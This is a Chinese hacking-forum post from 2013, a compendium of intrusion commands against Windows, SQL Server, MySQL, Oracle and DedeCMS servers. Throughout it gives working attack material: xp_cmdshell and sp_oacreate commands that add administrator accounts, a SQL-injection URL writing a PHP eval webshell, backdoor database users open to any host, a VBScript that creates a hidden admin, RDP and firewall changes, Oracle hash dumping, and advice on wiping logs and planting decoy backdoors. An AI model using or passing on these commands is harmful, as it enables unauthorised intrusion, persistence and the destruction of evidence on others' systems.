找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 5089|回复: 0
打印 上一主题 下一主题

渗透技术大全

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-27 21:24:42 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
7 L, J8 @+ v8 O
1.net user administrator /passwordreq:no
- W' d( g. L  T1 m8 g( c9 c. g这句的意思是"administrator帐号不需要密码",如果可以成功执行的话,3389登陆时administrator的密码就可以留空,直接登陆了,然后进去后再net user administrator /passwordreq:yes恢复就可以了
" J- T9 s" U* Y) |8 U7 b& ~+ `, v1 U2.比较巧妙的建克隆号的步骤
- _/ T1 H5 h  Y+ ?8 i$ @# |先建一个user的用户
* [! S/ `5 W1 }+ m' s9 K: g. ]然后导出注册表。然后在计算机管理里删掉: o, G+ [; @- x7 w" z' X5 m  ]
在导入,在添加为管理员组
5 U1 m4 O$ H, X# L* O9 O4 p1 p, L3.查radmin密码+ v5 `* H: g, ]; c* |. F, x, v
reg save HKEY_LOCAL_MACHINE\SYSTEM\RAdmin c:\a.reg
7 |% G4 l# f5 F/ j5 w6 s+ @8 V2 S4.[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Window NT\CurrentVersion\Image File execution options]* m' A* \( V2 f% K& C
建立一个"services.exe"的项
8 h* w! Q  G. I. z% Z1 B& n# u再在其下面建立(字符串值)- Y' P: j, u7 y4 l( n) `( ^) f. j. U
键值为mu ma的全路径- `( {- O  J4 i8 [
5.runas /user:guest cmd
+ h# ]) S% F: \测试用户权限!% M7 y2 D9 S4 [- y
6.、 tlntadmn config sec = -ntlm    exec master.dbo.xp_cmdshell \'tlntadmn config sec = -ntlm\'--   其实是利用了tlntadmn这个命令。想要详细了解,输入/?看看吧。(这个是需要管理员权限的哦)建立相同用户通过ntml验证就不必我说了吧?
$ p7 T! q2 n) S; e- \  _7.入侵后漏洞修补、痕迹清理,后门置放:
4 n4 p: ~" u/ U" ?: O6 Y7 e基础漏洞必须修补,如SU提权,SA注入等。DBO注入可以考虑干掉xp_treelist,xp_regread自行记得web目录;你一定要记得清理痕迹~sqlserver连接使用企业管理器连接较好,使用查询分析器会留下记录,位于HKEY_CURRENT_USER\Software \Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers。删除之;IISlog的清除可不要使用AIO类的工具直接完全删除日志~可以选择logcleaner类工具只删除指定IP的访问记录,如果你能gina到管理员密码则通过登陆他清理日志并通过WYWZ进行最后的痕迹清理。话说回来手动清理会比较安全。最后留下一个无日志记录的后门。一句话后门数个,标准后门,cfm后门我一般都不会少。要修改时间的哦~还有一招比较狠滴,如果这个机器只是台普通的肉鸡,放个TXT到管理员桌面吧~提醒他你入侵了,放置了某个后门,添加了某个用户~(当然不是你真正滴重要后门~)要他清理掉。这样你有很大的可能性得以保留你的真实后门
4 |4 s2 m  C* K6 i2 I( Y# l8.declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c
9 O. }' M7 V$ k% {, o% j; D* v0 K$ C! t! s- K# ?
for example
- Y6 Y) w5 _2 Z" `7 P% s! f4 }
& Q) \# H& k. y+ x/ H( b3 Vdeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user aptime aptime /add'
5 E. V% U7 D; T* J- O8 B8 b7 A
% ~1 b; k' J1 S9 T3 L2 `& U1 Mdeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrator aptime /add'
) @0 A* t) G: a2 c! h0 J& U
; @- F( z& e; C# i9:MSSQL SERVER 2005默认把xpcmdshell 给ON了2 E( P( f5 I, B/ x1 N: H; w! ]8 I
如果要启用的话就必须把他加到高级用户模式
% ~" y6 ?2 }9 S) P可以直接在注入点那里直接注入
4 z. y# O7 w% ?$ e2 V( uid=5;EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;--
5 r/ ~% [6 X$ J4 I" i6 F. b6 A然后;dbcc addextendedproc("xp_cmdshell","xplog70.dll");--
, w2 z& ~8 Z4 y- f5 z& @5 @或者
! K4 D' m: ]' Z- T! ~3 m6 h' {  e% nsp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'; v7 `- ~2 s' n3 H5 \4 `
来恢复cmdshell。' f% O! _) _" d* ]  h
# c8 M* U( v2 a8 G  J. u6 k( L
分析器6 s) [& H1 O" `, r1 q
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;--' V. F5 S, e" E( O  u
然后;dbcc addextendedproc("xp_cmdshell","xplog70.dll")
2 y( B# |2 o8 V3 i. \8 k( C10.xp_cmdshell新的恢复办法
2 U* W" d( ?! d6 j- {- |# Axp_cmdshell新的恢复办法- X7 Q1 r! V/ o/ v4 G. A
扩展储存过程被删除以后可以有很简单的办法恢复:, m, i3 w4 N4 q+ S
删除
; K6 X% L; L- n. Z8 Zdrop procedure sp_addextendedproc, ]9 o5 L; w  m, }! @, _' c
drop procedure sp_oacreate/ ^, D# q& m$ F+ E: p" p+ Y# M! ?
exec sp_dropextendedproc 'xp_cmdshell'
" o7 F; V+ c( `% `9 n
% e3 L0 P( ~( K7 d4 Z" e恢复& n- u; ^- u% ?- v- k& L3 U4 c) ^
dbcc addextendedproc ("sp_oacreate","odsole70.dll")
9 \7 p1 V" T  y9 m. a2 q7 K: O/ idbcc addextendedproc ("xp_cmdshell","xplog70.dll"); q) I! D2 i1 r% k

! _, H0 q8 g' k0 \' Y这样可以直接恢复,不用去管sp_addextendedproc是不是存在
5 ^; g- g, e% P, T' E* B/ F$ n, t* l8 B8 w5 T$ f) U4 V4 V
-----------------------------
  c0 g  {' C: @3 o5 q0 ]. u
7 ^8 _1 s# f2 h$ r删除扩展存储过过程xp_cmdshell的语句:$ @3 Z; p5 B! O2 ?1 r* A
exec sp_dropextendedproc 'xp_cmdshell'7 a# @% j: [( b2 A4 u1 Q

' n# ?: s9 V! w& }; e恢复cmdshell的sql语句( V0 W8 m3 T' U5 x! M+ [0 W: k6 Y1 l$ L
exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'" @* V3 i" p  [

' b; ~( ]# y8 j' m" D: X8 T5 y' E( D& @/ y
开启cmdshell的sql语句
2 T8 r% _: K6 l* R# M1 N' N) Q5 R3 C) Z1 T
exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'. Y6 G# ~6 M2 z- D
  L8 t) u6 [7 c
判断存储扩展是否存在- i6 L. u8 ]% F2 Z0 H2 I1 ]
select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'* H& N* {4 N; b$ P6 F8 z! ]
返回结果为1就ok# |- l7 N* l. {! {+ j. H

  \7 I' H" S' ~, g* ~恢复xp_cmdshell
, ~) P; H- o1 |& s, xexec master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll';select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell', K9 @% I- }; Q" m( F1 Y
返回结果为1就ok2 }) I! H. i$ _5 i) L( y
) }! u, O0 t1 z/ g- C0 P
否则上传xplog7.0.dll  L# r; D" h. V4 i* B: @
exec master.dbo.addextendedproc 'xp_cmdshell','c:\winnt\system32\xplog70.dll'
7 @5 {2 p2 z  ~# C1 N9 H9 x: N4 [7 r- i: a9 h2 A8 t
堵上cmdshell的sql语句
6 i7 L1 m' d3 R. [. Msp_dropextendedproc "xp_cmdshel  y. ?* L6 C0 Z6 F; A
-------------------------
$ r* o7 z2 Q/ n% ]( H& H! Y清除3389的登录记录用一条系统自带的命令:, C5 b7 A9 m5 T+ g. V- h3 m
reg delete "hkcu\Software\Microsoft\Terminal Server Client"  /f7 f- z& w8 H, l1 v( b

0 f# I' L4 S9 S& k( Q2 T然后删除当前帐户的 My Documents 文件夹下的 Default.rdp 文件
  M+ I, [& h; ~, \) U. t% |& `( ?+ u在 mysql里查看当前用户的权限0 W& z' ]: U5 s  \( t' f: p
show grants for  . ]4 d' w2 l6 k* e( M

! z! S% S5 ~; E6 m以下语句具有和ROOT用户一样的权限。大家在拿站时应该碰到过。root用户的mysql,只可以本地连,对外拒绝连接。以下方法可以帮助你解决这个问题了,下面的语句功能是,建立一个用户为itpro 密码123 权限为和root一样。允许任意主机连接。这样你可以方便进行在本地远程操作数据库了。, g% {5 A8 j6 }% D, e  A5 h
4 S1 N# ~' O3 W" _; f* j$ y

' l0 Y2 D! \" K. qCreate USER 'itpro'@'%' IDENTIFIED BY '123';8 I  k9 Z) F8 I) M, B4 k
& b0 [7 w8 S. t- h2 o% q  |" F6 l) l
GRANT ALL PRIVILEGES ON *.* TO 'itpro'@'%' IDENTIFIED BY '123'WITH GRANT OPTION' U* A2 w2 ~( O6 u6 H  E, ]1 X0 P
- q$ c: {7 |: l$ q
MAX_QUERIES_PER_HOUR 0 MAX_CONNECTIONS_PER_HOUR 0
; ?' u6 B) N: l$ C" r) e
$ s; @, R# M* W$ E- k1 sMAX_UpdateS_PER_HOUR 0 MAX_USER_CONNECTIONS 0;
) S( f' r2 F& f( u  ]7 `: e( x7 d- o7 @0 x5 t
搞完事记得删除脚印哟。9 r  S! N* _- V9 j+ e
1 U6 u. j- o+ u3 T; c
Drop USER 'itpro'@'%';9 {( z- @; f. W, n

, D8 f5 M+ ]! C3 c' F& TDrop DATABASE IF EXISTS `itpro` ;
0 b7 u% L) j* s
: A) X5 D% c' z9 O; ]当前用户获取system权限1 d. u( G" j- T# J7 A
sc Create SuperCMD binPath= "cmd /K start" type= own type= interact; ]9 ?# s1 K1 s  u! A. _( I
sc start SuperCMD
1 e# S( ?) |: g程序代码
& F/ G+ d, \: h, o- ]- F<SCRIPT LANGUAGE="VBScript">. L, @  E  A( o' `. t& f
set wsnetwork=CreateObject("WSCRIPT.NETWORK")
2 W$ |' |) g: q3 v- zos="WinNT://"&wsnetwork.ComputerName
7 _: T; Q: `: q+ W0 n% iSet ob=GetObject(os)) |* h' K8 z7 D/ R7 v1 u3 n
Set oe=GetObject(os&"/Administrators,group")2 I1 {; U- @$ [! l5 |! D+ k/ N+ i
Set od=ob.Create("user","nosec")
- U' }* b8 f! o4 ]( y$ God.SetPassword "123456abc!@#"
% m3 R/ g0 \2 o" W: k" x3 g4 Wod.SetInfo
6 [! [2 g0 ~. z- g5 `Set of=GetObject(os&"/nosec",user)
) c1 H7 z% o5 foe.add os&"/nosec"
, m$ ?8 @% J/ K) r! K</Script>  L7 s! G6 U) a/ Y. s/ g8 j( b
<script language=javascript>window.close();</script>2 M3 M- `0 a! P- I  x3 l
& R& ^2 G/ M* j& m; l8 y
# p- e, u" i2 r8 W) G5 ?
1 f2 ~& V. a5 `7 Q% W& j' Q
, L: q! g6 \3 ]0 q% c# @
突破验证码限制入后台拿shell
* Q, P! ^5 M# k) [4 u( H程序代码
$ ?2 V' \' q; B+ FREGEDIT4
& g6 t+ S# A% ?4 V# r* ^6 O% k[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Security]
0 a9 y' O, s7 S. V+ f! h8 D1 V"BlockXBM"=dword:000000009 ~9 F) X* s/ A3 J2 G) y9 w, G/ o& F
+ }/ y- N+ q1 L1 f  @; H, W! H3 g) J. |* a
保存为code.reg,导入注册表,重器IE' r) |- s5 E, b, y. L
就可以了
1 D/ p0 i; K  Dunion写马
+ l" a) c4 B6 ]( e  I程序代码
7 o  I5 F. s. j- kwww.baidu.com/plus/infosearch.php?action=search&q=%cf'%20union%20select%201,2,3,4,'<?php%20eval($_POST[cmd])?>',6+into+outfile+'D:\\wwwroot\\duizhang.php'+/*
& \) i4 `4 e/ n' @4 T4 L3 D7 G! b4 Y0 ]% s5 B
应用在dedecms注射漏洞上,无后台写马% C7 `" u3 g3 [. N. w0 c
dedecms后台,无文件管理器,没有outfile权限的时候* j8 g; x5 V( j! S. [3 X
在插件管理-病毒扫描里
, w6 a: @! }# _6 \写一句话进include/config_hand.php里
6 g; i( `& z) \程序代码
$ Q. h$ k5 Y7 T>';?><?php @eval($_POST[cmd]);?>+ C9 N! u) u- m

- a5 F% p2 F; @0 U- H
1 w$ X4 _3 K6 H- L如上格式
. C! ^: `* o# U# K' j/ J5 Q# |5 a! h
oracle中用低权限用户登陆后可执行如下语句查询sys等用户hash然后用cain破解
  _9 K: Z" H9 `4 w程序代码
/ @; s) r0 K6 ]) z0 `4 _" p5 ?/ Oselect username,password from dba_users;
- L6 F* {% @; V5 }# B  w3 K
9 l' ?  F" z2 T1 ]' `
) t( B, e  G" f7 N9 D0 R) Wmysql远程连接用户
1 ^2 }9 L; O  D3 t程序代码& U+ S% x% W# b8 E+ ?- Y6 C
: x3 R% J0 y, \1 r+ O) Q
Create USER 'nosec'@'%' IDENTIFIED BY 'fuckme';- {* E+ L, F! z% ]7 `
GRANT ALL PRIVILEGES ON *.* TO 'nosec'@'%' IDENTIFIED BY 'fuckme' WITH GRANT OPTION
6 t% {; b% g) m9 v* e, jMAX_QUERIES_PER_HOUR 0 MAX_CONNECTIONS_PER_HOUR 0
; k4 l; s/ _  [- g9 m" r& m- UMAX_UpdateS_PER_HOUR 0 MAX_USER_CONNECTIONS 0;( C6 U3 ^8 U# F  r4 ~

6 v+ V$ l4 i5 D0 g/ h
* @; k. ?' a0 I2 Y, z7 f1 U2 a0 q( C2 E
8 A) j2 O+ J' U
echo y |reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0
( S8 g! P& D. {/ L# [9 L- H# u- m& W0 P
. r! G( U6 Q7 D. ?, W% K9 c: @1.查询终端端口
$ M2 S8 c% a: M& a& W7 {& E% U
6 H* @. j3 P5 ~+ Txp&2003:REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber  ?6 ?% E5 a5 T5 p# o

: ?/ v  L. t: _! y通用:regedit /e tsp.reg "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal server\Wds\rdpwd\Tds\tcp"
9 q- ], d% a+ \type tsp.reg
2 V4 T3 X! K3 U+ Q8 b) {$ E0 F* n' M" ~  ~) ]0 w
2.开启XP&2003终端服务* B- c# O0 r/ y% b
+ x  J3 Y% M0 c# X9 P, j/ O6 A

8 J3 [6 P* H! H+ {  V8 T6 NREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f/ a7 a3 u2 [6 G9 b8 _: z5 U3 u8 D
0 r: d5 o' f1 D  _" g% H6 |

% J- P/ b1 d" I  U8 Z; lREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f- @) @* u' H* i1 j5 {7 x

$ F7 S. n+ r* u- t1 M3.更改终端端口为20008(0x4E28)
( s' @: @7 e) t" |" A8 Z" i$ \2 x9 E% N6 E2 J& e4 p
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x4E28 /f
$ j5 D* j9 S0 b2 V% l
* D! g' `3 Y8 q) m! \* hREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x4E28 /f! j) e  M4 m5 Q, q% }+ E! w/ v

* x; B5 Z/ d# y( B/ I6 I. j4.取消xp&2003系统防火墙对终端服务3389端口的限制及IP连接的限制
4 F" x0 A- r0 c
% W' T' O: S7 Z1 U' R9 nREG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabledxpsp2res.dll,-22009 /f
0 b$ {' I( [, d4 w! E8 Z! B7 n: e- c( i' `& }

2 ^& O4 ?) \" L* N! Q* i5.开启Win2000的终端,端口为3389(需重启)
2 ?$ i; j- N& ^& M0 T
) ~1 ~6 K: H2 _6 W4 {6 a! Qecho Windows Registry Editor Version 5.00 >2000.reg
( {- H' x( s' H2 T, xecho. >>2000.reg# J  V6 e1 T- ]; g) u1 p
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\netcache] >>2000.reg # ~5 ]: n1 v- K8 d# a
echo "Enabled"="0" >>2000.reg
9 v& B6 `# r- t9 }' techo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] >>2000.reg
/ X" K7 z5 S1 vecho "ShutdownWithoutLogon"="0" >>2000.reg
+ L. }- z  y6 i) G# [" f% jecho [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer] >>2000.reg 4 Z. `8 ^1 g, c) C4 `( z
echo "EnableAdminTSRemote"=dword:00000001 >>2000.reg
% v1 C+ `# ?8 Vecho [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server] >>2000.reg " g- N8 ?& s4 r5 z
echo "TSEnabled"=dword:00000001 >>2000.reg
+ s# _2 B7 N8 ]3 Z. V7 l! Wecho [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD] >>2000.reg
3 [" F, @9 ~* _1 Z9 y+ W$ fecho "Start"=dword:00000002 >>2000.reg ( M8 Z, v4 s* ~) c* t
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService] >>2000.reg . f8 N, ~) [& [/ g$ B3 e
echo "Start"=dword:00000002 >>2000.reg
9 S0 U$ `" h+ {, Yecho [HKEY_USERS\.DEFAULT\Keyboard Layout\Toggle] >>2000.reg
5 H8 t" o+ l/ B1 pecho "Hotkey"="1" >>2000.reg / c. R# I6 }+ X" f# ?; q2 p+ [
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp] >>2000.reg 2 V* k( }  L: |& ?6 E# t5 _
echo "ortNumber"=dword:00000D3D >>2000.reg
$ q1 T0 @2 o& C- L3 \$ Cecho [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp] >>2000.reg 3 |; f$ o3 q3 g2 n, {
echo "ortNumber"=dword:00000D3D >>2000.reg
% u" |' P' p. u7 H/ {& Q& ^2 w3 F$ u7 |. r# `! ~. D
6.强行重启Win2000&Win2003系统(执行完最后一条一句后自动重启)
3 S1 ^8 \0 K: ^" G" M
; R, o% f. w7 K( f5 U7 C2 s@ECHO OFF & cd/d %temp% & echo [version] > restart.inf
4 A1 e1 K: y; ^(set inf=InstallHinfSection DefaultInstall). T1 @; a0 h( P: i
echo signature=$chicago$ >> restart.inf
% d! F" J  M4 q" [echo [defaultinstall] >> restart.inf
1 u6 x2 ^! p) u: Frundll32 setupapi,%inf% 1 %temp%\restart.inf: ^1 ?# x4 ?1 E; G5 e" n
! b. ]9 W6 [5 Q0 N

' D/ d$ g9 ]5 u) B( P7.禁用TCP/IP端口筛选 (需重启)
: V% a2 h2 g+ q$ t0 u5 w. {2 s! y- J9 Q5 e1 R' l3 W2 L2 b9 Z
REG ADD HKLM\SYSTEM\ControlSet001\Services\Tcpip\parameters /v EnableSecurityFilters /t REG_DWORD /d 0 /f
* Q: c% q! ?; o$ Q/ X
3 K0 ^' Q# E) u! r9 a& M% g8.终端超出最大连接数时可用下面的命令来连接
/ c4 V7 [. H# }' N! D4 ?( J* i( Z/ r
mstsc /v:ip:3389 /console; H$ q; X# r, W! M* ?# P4 f
) V3 C  D/ O, d' {2 n$ n8 |( V
9.调整NTFS分区权限- W7 ]& H. J9 v0 S* A5 q
# ]' i5 S/ u- R$ V
cacls c: /e /t /g everyone:F (所有人对c盘都有一切权利)
+ C$ G  E1 j8 V/ Y( O6 {9 g; @! `4 b8 e5 l: q9 F; M; E
cacls %systemroot%\system32\*.exe /d everyone (拒绝所有人访问system32中exe文件)
+ V' x* s1 o8 I
7 D/ x1 k+ f9 N! d. i# _' V------------------------------------------------------
1 o  Z! v! G7 s2 ]& t: \3389.vbs
; F. A; Y: W' q. c% P- fOn Error Resume Next2 R: K/ r3 A- T4 A1 K7 d
const HKEY_LOCAL_MACHINE = &H800000029 k. V9 U- a. j6 V
strComputer = "."* r' w4 L' ?* w
Set StdOut = WScript.StdOut
9 ^; h. M, P  z: ^/ ZSet oreg=GetObject("winmgmts:{impersonationLevel=impersonate}!\\" &_' @0 ~8 Z6 k" Y% s) j2 O
strComputer & "\root\default:StdRegProv")
" G' Q. e( X) D/ W" M( j7 }( {' fstrKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server"- e: m" L0 B! H( n& Y: x; K4 n
oreg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath
  Q- U% C! }, O  {1 Z% UstrKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp"5 g4 P2 Y% k2 E+ k1 y
oreg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath) R1 z; S1 y# H! T: ~+ q# P
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp"* r7 G- S: G5 \. _% y% [( N
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server"
: E5 s6 i/ o" M, I" b& lstrValueName = "fDenyTSConnections"5 o( l4 m% X3 J7 C# @/ N
dwValue = 0
+ R) r4 J& O& l9 @oreg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue# s) ^+ Z7 [, z% M
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp"
: R, s9 X8 \  E% gstrValueName = "ortNumber"
* e; I4 S5 Y4 n5 [- G% I* B$ K8 ^dwValue = 33891 l4 X0 m) m( j
oreg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue
+ {* x% r3 b' X! mstrKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp"
( R  ^% |7 L$ |' k7 K; YstrValueName = "ortNumber"" e( \5 o1 d( k) a: h7 V1 B
dwValue = 3389
& O% n  o. k3 `0 y, Uoreg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue
* Z) R1 V' Z  s7 X- RSet R = CreateObject("WScript.Shell")
/ N8 N6 Y4 p" ]) A7 ?( z, {R.run("Shutdown.exe -f -r -t 0")
  v2 c( D4 x. m2 A" X( M. A; U9 N% R& |( \* W/ ?! F+ ~, M! Q
删除awgina.dll的注册表键值. u7 X; P" x$ K# `$ ]9 k" P
程序代码
# I+ O6 I, X" C2 _  A6 s8 |% D
! Q& M* U4 v/ M8 Yreg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v GinaDLL /f8 z- K  _! t1 e+ L& U: @* p
/ I& ?3 p+ Z  F- l) Y  u" ~3 K: [

6 j7 t3 a8 r. Z8 R
8 K4 P+ a( n0 c6 R4 b3 M5 D7 {4 C' |7 u: s
程序代码" l" q" A& a8 k3 \6 w% k% f! E
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\NoLMHash9 v# R: Y( s; B/ A. o6 X4 p! x- |; a1 a
' k4 e  T" t4 h3 v3 E1 B
设置为1,关闭LM Hash* z; I5 o" O/ W' q( a
+ a) L+ N' J# {0 A% h$ V- k
数据库安全:入侵Oracle数据库常用操作命令  q6 K; {6 _+ i5 T$ d! b. j
最近遇到一个使用了Oracle数据库的服务器,在狂学Oracle+请教高手后终于搞到了网站后台管理界面的所有用户密码。我发现Oracle操作起来真是太麻烦,为了兄弟们以后少走些弯路,我把入侵当中必需的命令整理出来。' _% \) U+ N" ~( T. V6 D; U3 X+ N
1、su – oracle 不是必需,适合于没有DBA密码时使用,可以不用密码来进入sqlplus界面。
( ~! D: y2 L3 ~# X. R) D/ j7 h* j2、sqlplus /nolog 或sqlplus system/manager 或./sqlplus system/manager@ora9i;
4 f: h, t- Z9 ]3、SQL>connect / as sysdba ;(as sysoper)或9 i8 c( H; a4 W! P
connect internal/oracle AS SYSDBA ;(scott/tiger)
1 E1 {# W) J& a  s1 h8 ]3 A* hconn sys/change_on_install as sysdba;2 K; c# E  y0 k- D; B
4、SQL>startup; 启动数据库实例0 q6 T& K# k; S/ ^. K
5、查看当前的所有数据库: select * from v$database;
" L2 N- G! x. Sselect name from v$database;  t- p; S& k, v7 f$ d
6、desc v$databases; 查看数据库结构字段! a: ?7 R4 E8 H" z, L
7、怎样查看哪些用户拥有SYSDBA、SYSOPER权限:
$ u4 U4 ~; d0 `% u2 Z( K; Q6 _5 ZSQL>select * from V_$PWFILE_USERS;- b% \( B8 O1 o- G) _8 X
Show user;查看当前数据库连接用户) v5 W% W0 a. i- }  ]2 g# t7 _
8、进入test数据库:database test;2 \  v- M4 K" F+ y+ k# U  ]
9、查看所有的数据库实例:select * from v$instance;
- G+ I- A+ j- ]2 h8 c如:ora9i
4 h9 J2 _5 c- L10、查看当前库的所有数据表:
) B  v# z. @2 l" C  bSQL> select TABLE_NAME from all_tables;
( \) a' Z2 q# ~/ Q( O8 kselect * from all_tables;
# Z8 j( b9 A( W' dSQL> select table_name from all_tables where table_name like '%u%';
4 d7 J+ B9 p' g5 I* HTABLE_NAME
) b( M) _# \$ R) {, Y8 w% J" u------------------------------
3 z% e# p1 O: h0 ?" A* E+ u' g_default_auditing_options_  ]) A8 d- B9 g5 K# O
11、查看表结构:desc all_tables;
& S0 m5 R; V  ~12、显示CQI.T_BBS_XUSER的所有字段结构:
& F& y& F' E. y1 ]. I/ R. X' u1 Qdesc CQI.T_BBS_XUSER;
  o7 o1 N; D) t% A* n) H2 e13、获得CQI.T_BBS_XUSER表中的记录:, W+ [* L$ i' T3 K1 v7 t
select * from CQI.T_BBS_XUSER;! ]" [1 r: S: ?  r
14、增加数据库用户:(test11/test)
  }' y: ?, R7 R- jcreate user test11 identified by test default tablespace users Temporary TABLESPACE Temp;
9 w- m5 [6 z1 W& l7 o% y6 m8 v9 ]15、用户授权:, E' Z/ I! }& E5 H1 q( A* Y
grant connect,resource,dba to test11;* A8 ]# o3 C0 g
grant sysdba to test11;# f) M1 }" c' [$ V
commit;
0 Q' v! v) j& p& w! T16、更改数据库用户的密码:(将sys与system的密码改为test.)
2 @' d: ^* `7 ]" H- Halter user sys indentified by test;2 M! y' B: u2 o1 s
alter user system indentified by test;
; O1 U! V1 i4 z; f! T# E
  P0 i; |+ S. @: }/ I" xapplicationContext-util.xml, S* O$ @* x/ ~5 ]/ l1 v
applicationContext.xml
5 k  A: |! z2 y0 A" X1 Dstruts-config.xml
0 W. T- v+ b6 ?5 D6 qweb.xml! Y2 q/ z3 N) ?2 {4 @
server.xml# a" _* [% |* X0 l7 s
tomcat-users.xml
6 K  G: u1 j# K) A! m! y* Phibernate.cfg.xml
, r/ R. ?8 u# M; z" ]4 M, ddatabase_pool_config.xml" y; q' g  ?$ ?* `

5 A: Q: p, a2 n3 ^$ c5 A9 D0 \/ I0 c* Z3 A5 N- F5 P! f
\WEB-INF\classes\hibernate.cfg.xml 数据库连接配置
$ X7 r& d5 K8 C4 G" b- O\WEB-INF\server.xml         类似http.conf+mysql.ini+php.ini
3 U) a0 \! [0 C7 M# o\WEB-INF\struts-config.xml  文件目录结构
1 d0 I; [. }6 C0 {, p+ E1 G6 J3 |! J% `
spring.properties 里边包含hibernate.cfg.xml的名称
& H3 c% F) A* I/ `0 _7 |
) `2 a* a$ B' m% Y" a
( G0 @' D0 |" M2 ]/ P; I+ JC:\Program Files\Apache Software Foundation\Tomcat 5.5\conf\tomcat-users.xml
0 e1 z7 k* o0 _$ h; u
2 D: p, |! C+ N$ d. k0 ?) \如果都找不到  那就看看class文件吧。。
( b6 @- u# @+ V: K& l: y5 h6 [) _- B5 M; q( H8 z2 q4 n2 O" @& z- h( n8 S
测试1:
& J, d% n! @* \+ C, U: `. U. MSELECT top 1 name=STUFF((SELECT ','+[name] FROM sysobjects t  where xtype='U' FOR XML PATH('')), 1, 1, '') FROM sysobjects t1
8 ?+ \( }2 T2 D/ I, V- f  w( t# [6 _0 w  n
测试2:
7 J7 u0 J  ]% e( ?( P
6 K4 w0 ~( n9 J' n" icreate table dirs(paths varchar(100),paths1 varchar(100), id int)
7 l$ K, K: G# @
: `0 C) {/ i1 a' @7 h" vdelete dirs;insert dirs exec master.dbo.xp_dirtree 'c:\',1,1--' j" e, q0 ^( \  s" y
9 J9 I/ B/ ]# E4 H$ [
SELECT top 1 paths=STUFF((SELECT ','+[paths] FROM dirs FOR XML PATH('')), 1, 1, '') FROM dirs t1* c: O6 k* G" ^4 I5 @

6 [$ i* D0 z8 |, e1 j6 K查看虚拟机中的共享文件:. r" J! w, `' G0 x) b9 z' Z9 }
在虚拟机中的cmd中执行
7 K( y* d2 G3 C* C9 P% ~1 N\\.host\Shared Folders7 e, p; x/ R$ g0 v5 \% V* |

+ m1 m; Q7 S( z! w+ Jcmdshell下找终端的技巧
- A0 n2 \( n& ]- C) F找终端: . b& M* ?+ E# q( `% p
第一步: Tasklist/SVC 列出所有进程,系统服务及其对应的PID值!
5 l" k! [3 S* y" \7 C& `" v   而终端所对应的服务名为:TermService
8 j0 W$ |/ X) ]+ u# ^' i" A) h0 H第二步:用netstat -ano命令,列出所有端口对应的PID值! ( J0 r# u& ~+ U0 _
   找到PID值所对应的端口
/ X5 B- f6 n; R( U& [0 e9 `( J& P% o4 l# L: U
